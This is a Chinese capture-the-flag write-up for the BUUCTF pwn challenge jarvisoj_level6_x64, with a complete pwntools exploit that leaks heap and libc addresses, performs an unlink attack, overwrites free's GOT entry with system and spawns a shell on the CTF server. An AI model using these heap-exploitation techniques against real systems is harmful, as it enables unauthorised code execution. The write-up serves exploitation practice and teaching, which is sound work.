buuctf-pwn:jarvisoj_level6_x64
jarvisoj_level6_x64
只能申请unsorted bin大小下的unlink
IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)
然后free里面有UAF漏洞
然后几个注意的点,unlink直接可以模板化
1,泄漏地址 包括libc或者存放heap pointer的地址
2,unlink,伪造谁用谁的指针来unlink
3,修改heap为got指针也可以泄漏libc
exp
- 1 #coding:utf-8
- 2 '''
- 3 author: lemon
- 4 time:
- 5 libc:
- 6 python version:
- 7 '''
- 8
- 9 from pwn import *
- 10 from LibcSearcher import *
- 11
- 12 local = 0
- 13
- 14 binary = "./freenote_x64"
- 15
- 16 if local == 1:
- 17 p = process(binary)
- 18 else:
- 19 p = remote("node3.buuoj.cn",29231)
- 20
- 21 def dbg():
- 22 context.log_level = 'debug'
- 23
- 24 context.terminal = ['tmux','splitw','-h']
- 25
- 26 def add(size,content):
- 27 p.sendlineafter('Your choice:','2')
- 28 p.sendlineafter('Length of new note: ',str(size))
- 29 p.sendafter('Enter your note:',content)
- 30
- 31 def free(index):
- 32 p.sendlineafter('Your choice: ','4')
- 33 p.sendlineafter('Note number: ',str(index))
- 34
- 35 def show():
- 36 p.sendlineafter('Your choice: ','1')
- 37
- 38 def edit(index,size,content):
- 39 p.sendlineafter('Your choice: ','3')
- 40 p.sendlineafter('Note number: ',str(index))
- 41 p.sendlineafter('Length of note: ',str(size))
- 42 p.sendafter('Enter your note: ',content)
- 43
- 44 add(0x80,0x80 * 'a') # chunk 0
- 45 add(0x80,0x80 * 'a') # chunk 1
- 46 add(0x80,0x80 * 'a') # chunk 2
- 47 add(0x80,0x80 * 'a') # chunk 3
- 48 add(0x80,0x80 * 'a') # chunk 4
- 49
- 50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
- 51
- 52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
- 53
- 54 print "unlink前先泄漏出堆的基地址"
- 55
- 56 free(3)
- 57 free(1)
- 58
- 59 payload = 0x90 * 'a'
- 60 edit(0,len(payload),payload)
- 61 show()
- 62 p.recvuntil(0x90 * 'a')
- 63 #heap = u64(p.recv(6) + '\x00\x00')
- 64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
- 65 print "[*] heap:",hex(heap_0)
- 66 heap_4 = heap_0 + 0x1a40
- 67
- 68
- 69 print "unlink"
- 70
- 71 fd = heap_0 - 0x18
- 72 bk = heap_0 - 0x10
- 73
- 74 payload = p64(0) + p64(0x80)
- 75 payload += p64(fd) + p64(bk)
- 76 payload = payload.ljust(0x80,'\x00')
- 77 payload += p64(0x80) + p64(0x90)
- 78 edit(0,len(payload),payload)
- 79
- 80 free(1)
- 81
- 82 print "leak libc"
- 83
- 84 elf = ELF('./freenote_x64')
- 85 free_got = elf.got['free']
- 86 print "[*] free:",hex(free_got)
- 87
- 88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
- 89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
- 90 payload = payload.ljust(0x90,'\x00')
- 91 edit(0,len(payload),payload)
- 92 show()
- 93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
- 94
- 95 # libc_base = free - libc.sym['free']
- 96 # system = libc_base + libc.sym['system']
- 97
- 98 libc = LibcSearcher('free',free)
- 99 libc_base = free - libc.dump('free')
- 100 system = libc_base + libc.dump('system')
- 101
- 102 payload = p64(system)
- 103 edit(0,len(payload),payload)
- 104
- 105 #gdb.attach(p)
- 106 p.interactive()
buuctf-pwn:jarvisoj_level6_x64的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- 5.Strom-事务型拓扑
- java ConcurrentHashMap和CopyOnWriteArrayList解决并发问题
ConcurrentHashMap 一.hashtable.hashmap.ConcurrentHashMap 1.线程不安全的HashMap 因为多线程环境下,使用Hashmap进行put操作会引起 ...
- Urule开源版系列5——RuleSetParser解析过程
接上期Urule开源版系列4--Core包核心接口之规则解析过程 之前源码到了Parser,这期详细解析下RuleSetParser的解析过程 1.主流程 特殊处理一个属性 循环处理元素 当元素名称是 ...
- 《Duubo系列》-Dubbo服务暴露过程
我今天来就带大家看看 Dubbo 服务暴露过程,这个过程在 Dubbo 中其实是很核心的过程之一,关乎到你的 Provider 如何能被 Consumer 得知并调用. 今天还是会进行源码解析,毕竟我 ...
- 如何使用 Python 進行字串格式化
前言: Python有几种方法可以显示程序的输出:数据可以以人类可读的形式打印出来,或者写入文件以供将来使用. 在开发应用程式时我们往往会需要把变数进行字串格式化,也就是说把字串中的变数替换成变量值. ...
- 怎样禁用UEFI boot option中的USB启动,防止U盘WIN PE系统黑入电脑?
Title: Disable all UEFI boot options tblatt 问: Hello, system: Latitude E6530 I want to disable all U ...
- 手把手教你AspNetCore WebApi:数据验证
前言 小明最近又遇到麻烦了,小红希望对接接口传送的数据进行验证,既然是小红要求,那小明说什么都得满足呀,这还不简单嘛. 传统验证 [HttpPost] public async Task<Act ...
- ASP。NET控件—控件如何相互关联
介绍 这是我关于ASP系列的另一篇小文章.NET控件,它的主要焦点是揭示控件如何相互关联,涉及哪些实体,以及它们在此任务中的主要角色是什么. 动机 理解每次处理页面请求和某人在他的浏览器中获得您的we ...
- 用 shell 脚本做 restful api 接口监控
问题的提出 基于历史原因,公司有一个"三无"采集服务--无人员.无运维.无监控--有能力做的部门不想接.接了的部门没能力.于是就一直这样裸奔,直到前几天一个依赖于这个采集服务的大数 ...
- visio调整画布大小的简便方法
按住Ctrl,然后鼠标在边缘拉拽即可.